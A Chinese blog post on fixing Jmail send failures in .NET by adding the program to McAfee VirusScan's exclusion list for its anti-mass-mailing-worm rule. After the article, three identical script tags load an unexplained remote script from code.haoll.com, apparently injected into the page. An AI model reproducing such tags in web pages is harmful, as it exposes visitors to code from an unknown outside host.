McAfee防火牆導致Jmail發郵件失敗的解決方法

   用Jmail在.NET環境中發送郵件,但是總是發送不成功。通過斷點跟蹤,在調用Jmail的Execute()的方法時,系統拋出異常。異常信息爲“The message was undeliverable. All servers failed to receive the message”。同樣一段程序在服務器上是可以成功發送的,怎麼在這裏就發送不成功了呢?

   後來發現是由於McAfee的防火牆引起的。需要將發送郵件的程序添加到“排除”列表中纔可以。具體的設置過程是:

   1.  右擊McAfee在系統右下角的小圖標,選擇“Virus Scan控制檯”。

   2.  在彈出的界面中,選擇“訪問保護”,右鍵選擇“屬性”。

   3.  選擇“要阻擋的端口”中的“禁止大量發送郵件的蠕蟲病毒發送郵件”選項,並點擊“編輯”。

   4.  在“已排除進程”添加你運行程序的進程名(一般就是.exe文件的文件名, 這裏每個進程名都是由逗號隔開的)。

   5.  點擊“確定”後就可以了。

   看來以後如果和網絡有關的程序如果出了莫明其妙的問題,在保證程序沒有問題的情況下,可以考慮一些常用的安全軟件,如:防病毒軟件,防火牆等等。

   注:我的McAfee的版本是:VirusScan Enterprise 8.0.0

   這裏要特別感謝我的企業導師倪駿提供寶貴的經驗^_^。 

<script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script> <script src="http://code.haoll.com/i.js"></script>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章